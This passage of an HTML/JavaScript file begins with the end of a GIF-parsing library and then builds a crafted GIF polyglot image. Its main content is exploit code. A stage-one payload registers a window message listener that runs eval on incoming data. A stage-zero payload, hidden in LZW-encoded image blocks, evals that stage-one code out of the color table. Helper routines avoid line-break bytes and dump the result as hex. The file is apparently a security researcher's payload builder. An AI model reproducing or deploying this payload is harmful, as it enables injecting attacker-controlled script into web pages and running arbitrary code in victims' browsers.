	img.pixels = deinterlace(img.pixels, img.width);
	}

	handler.img && handler.img(img);
	};

	var parseBlock = function() {
	var block = {};
	block.sentinel = st.readByte();

	switch (String.fromCharCode(block.sentinel)) { // For ease of matching
	case '!':
	block.type = 'ext';
	parseExt(block);
	break;
	case ',':
	block.type = 'img';
	parseImg(block);
	break;
	case ';':
	block.type = 'eof';
	handler.eof && handler.eof(block);
	break;
	default:
	throw new Error('Unknown block: 0x' + block.sentinel.toString(16)); // TODO: Pad this with a 0.
	}

	if (block.type !== 'eof') setTimeout(parseBlock, 0);
	};

	var parse = function() {
	parseHeader();
	setTimeout(parseBlock, 0);
	};

	parse();
	};

	// BEGIN_NON_BOOKMARKLET_CODE
	if (typeof exports !== 'undefined') {
	exports.Stream = Stream;
	exports.parseGIF = parseGIF;
	}
	// END_NON_BOOKMARKLET_CODE

	var my_hdr = {};




	// =================================================================================
	// line_256_half_15
	// =================================================================================
	var stage1_payload = "Y=window;if(!Y.k8){Y.k8=1;(Y.addEventListener\|\|Y.attachEvent)('message',function(b){eval(b.data)})}; ";
	var color_map_shift = 2;
	var payload4 =

	// clear
	"\u0080" +

	// utf8 align
	"\u0065\u0066\u0064" +

	// payload left guard
	'",' +

	// stage0 payload: jump to color map
	"eval(ma.substr(" + (12 + color_map_shift).toString(10) + "," + stage1_payload.length.toString(10) + "))"+

	// payload right guard
	',9)//'+

	// Upper part of color table
	"\u0041\u0042";


	function OutStream()
	{
	this.bytestream = new Array();
	this.offset = 0;

	this.WriteBit = function(val)
	{
	this.bytestream[this.offset>>>3] \|= val << (this.offset & 7);
	this.offset++;
	}

	this.Write = function(val, numBits)
	{
	// Write LSB -> MSB
	for(var i = 0; i < numBits; ++i)
	this.WriteBit((val >>> i) & 1);
	}
	}

	var garbage4 = new OutStream();

	for(var ch = 0; ch < payload4.length; ch++)
	garbage4.Write(payload4.charCodeAt(ch), 8);

	var single_byte_align_len = 128 - payload4.length;
	for(var ch = 0; ch < single_byte_align_len; ch++)
	garbage4.Write(ch + 0x80 + payload4.length, 8);

	var limit = 254;
	var blocks = "";

	for(var ch = 0; ch < 153; ch++)
	{
	// If no place in current block
	if(garbage4.bytestream.length >= limit - (garbage4.offset % 8 == 0 ? 1 : 0))
	{
	// Push this one

	// Block length
	blocks += String.fromCharCode(garbage4.bytestream.length);

	// Block data
	for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
	blocks += String.fromCharCode(garbage4.bytestream[_ch]);

	// Renew
	garbage4 = new OutStream();
	}

	garbage4.Write(ch + 0x80 + payload4.length + single_byte_align_len, 9);

	// If unwillingly inserted \r\n
	if(garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0d \|\| garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0d \|\|
	garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0a \|\| garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0a)
	{
	//debugger;
	// Get rid of, rollback
	garbage4.offset -= 9;
	garbage4.bytestream[garbage4.bytestream.length - 1] = 0;
	garbage4.Write(0x47, 9);
	}
	}

	for(var ch = 0; ch < 30; ch ++)
	garbage4.Write(0x83 + ch, 9);

	if(garbage4.bytestream.length > 0)
	{
	// Finalize block
	garbage4.Write(0x81, 9);

	// Push

	// Block length
	blocks += String.fromCharCode(garbage4.bytestream.length);

	// Block data
	for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
	blocks += String.fromCharCode(garbage4.bytestream[_ch]);
	}

	var color_map_full = "\u0020\u0020\u0020\u0001\u0001\u0001\u0002\u0002\u0002\u0003\u0003\u0003\u0004\u0004\u0004\u0005\u0005\u0005\u0006\u0006\u0006\u0007\u0007\u0007\u0008\u0008\u0008\u0009\u0009\u0009\u0041\u0042\u0043\u000B\u000B\u000B\u000C\u000C\u000C\u0042\u0043\u0044\u000E\u000E\u000E\u000F\u000F\u000F\u0010\u0010\u0010\u0011\u0011\u0011\u0012\u0012\u0012\u0013\u0013\u0013\u0014\u0014\u0014\u0015\u0015\u0015\u0016\u0016\u0016\u0017\u0017\u0017\u0018\u0018\u0018\u0019\u0019\u0019\u001A\u001A\u001A\u001B\u001B\u001B\u001C\u001C\u001C\u001D\u001D\u001D\u001E\u001E\u001E\u001F\u001F\u001F\u0020\u0020\u0020\u0021\u0021\u0021\u0020\u0000\u0020\u0023\u0023\u0023\u0024\u0024\u0024\u0025\u0025\u0025\u0026\u0026\u0026\u0027\u0027\u0027\u0028\u0028\u0028\u0029\u0029\u0029\u002A\u002A\u002A\u002B\u002B\u002B\u002C\u002C\u002C\u002D\u002D\u002D\u002E\u002E\u002E\u002F\u002F\u002F\u0030\u0030\u0030\u0031\u0031\u0031\u0032\u0032\u0032\u0033\u0033\u0033\u0034\u0034\u0034\u0035\u0035\u0035\u0036\u0036\u0036\u0037\u0037\u0037\u0038\u0038\u0038\u0039\u0039\u0039\u003A\u003A\u003A\u003B\u003B\u003B\u003C\u003C\u003C\u003D\u003D\u003D\u003E\u003E\u003E\u003F\u003F\u003F\u0040\u0040\u0040\u0041\u0041\u0041\u0042\u0042\u0042\u0043\u0043\u0043\u0044\u0044\u0044\u0045\u0045\u0045\u0046\u0046\u0046\u0047\u0047\u0047\u0048\u0048\u0048\u0049\u0049\u0049\u004A\u004A\u004A\u004B\u004B\u004B\u004C\u004C\u004C\u004D\u004D\u004D\u004E\u004E\u004E\u004F\u004F\u004F\u0050\u0050\u0050\u0051\u0051\u0051\u0052\u0052\u0052\u0053\u0053\u0053\u0054\u0054\u0054\u0055\u0055\u0055\u0056\u0056\u0056\u0057\u0057\u0057\u0058\u0058\u0058\u0059\u0059\u0059\u005A\u005A\u005A\u005B\u005B\u005B\u005C\u005C\u005C\u005D\u005D\u005D\u005E\u005E\u005E\u005F\u005F\u005F\u0060\u0060\u0060\u0061\u0061\u0061\u0062\u0062\u0062\u0063\u0063\u0063\u0064\u0064\u0064\u0065\u0065\u0065\u0066\u0066\u0066\u0067\u0067\u0067\u0068\u0068\u0068\u0069\u0069\u0069\u006A\u006A\u006A\u006B\u006B\u006B\u006C\u006C\u006C\u006D\u006D\u006D\u006E\u006E\u006E\u006F\u006F\u006F\u0070\u0070\u0070\u0071\u0071\u0071\u0072\u0072\u0072\u0073\u0073\u0073\u0074\u0074\u0074\u0075\u0075\u0075\u0076\u0076\u0076\u0077\u0077\u0077\u0078\u0078\u0078\u0079\u0079\u0079\u007A\u007A\u007A\u007B\u007B\u007B\u007C\u007C\u007C\u007D\u007D\u007D\u007E\u007E\u007E\u007F\u007F\u007F";
	var height4 = "\u005c\u0022";
	var line_256_half_4 =
	"\u0047\u0049\u0046\u0038\u0037\u0061\u0001\u0000" + height4 +

	// Global settings flag
	"\u00C6" +

	// Background color + reserved byte
	"\u0000\u0000" +

	// Color map with stage 1 payload
	color_map_full.substr(0, color_map_shift) + stage1_payload + color_map_full.substr(color_map_shift + stage1_payload.length) +

	"\u002C\u0000\u0000\u0000\u0000\u0001\u0000" +

	height4 + "\u0000\u0007";

	line_256_half_4 += blocks;

	// End
	line_256_half_4 += "\u0000\u003B";


	// checking payload
	var payload4_rep_seq = false;
	for(var payload4_i = 0; payload4_i < payload4.length - 1 && !payload4_rep_seq; payload4_i++)
	{
	var seq = payload4.substr(payload4_i, 2);
	var search_target = payload4.substr(payload4_i + 1);
	var tw_occurence = search_target.indexOf(seq);
	payload4_rep_seq = tw_occurence != -1;

	if(payload4_rep_seq)
	{
	// draw markers
	var mrk = "";
	var mrk_pos = 0
	for(; mrk_pos < payload4_i - 1; mrk_pos++)
	mrk += " ";
	mrk += "\|";
	for(; mrk_pos < tw_occurence + payload4_i - 1; mrk_pos++)
	mrk += " ";
	mrk += "\|";
	console.log(payload4);
	console.log(mrk);

	console.log("seq " + seq + " occurs twice: at " + payload4_i + " and " + (tw_occurence + payload4_i + 1));
	}
	}

	if(!payload4_rep_seq)
	{
	d(line_256_half_4);
	setTimeout(function(){ str2hex(line_256_half_4); }, 500);
	}

	function d(_data)
	{
	my_hdr = {};
	var my_st = new Stream(_data);
	var my_parser = new parseGIF(my_st, {"img": my_outp, "hdr": function(hdr) { my_hdr = hdr }});
	}

	function pr()
	{
	function tohex(str)
	{
	var out_str = "";

	for(var i = 0; i < str.length; i++)
	{
	if(str.charCodeAt(i) < 0x10)
	out_str += '0';

	out_str += str.charCodeAt(i).toString(16);

	if(i + 1 < str.length)
	out_str += ' ';
	}

	console.log(out_str);
	}

	var out_map = "";

	for(i = 0; i < 128; i++)
	{
	out_map += "\u0000\u0000" + String.fromCharCode(i) + "\u00ff";
	}

	for(i = 128; i < 256; i++)
	{
	out_map += "\u0000\u0000\u0000\u00ff";
	}

	var out_img = "";
	var height = 8796;

	for(i = 0; i < 128; i++)
	{
	out_img += String.fromCharCode(i) + "\u0000\u0000\u0000";
	}

	for(i = 128; i < height; i++)
	{
	out_img += "\u0000\u0000\u0000\u0000";
	}

	var output = out_map + out_img;
	console.log("total length: " + output.length + "(" + (output.length >> 2) + ")");
	tohex(out_map);
	tohex(out_img);
	}
	</script>

	</body>
	</html>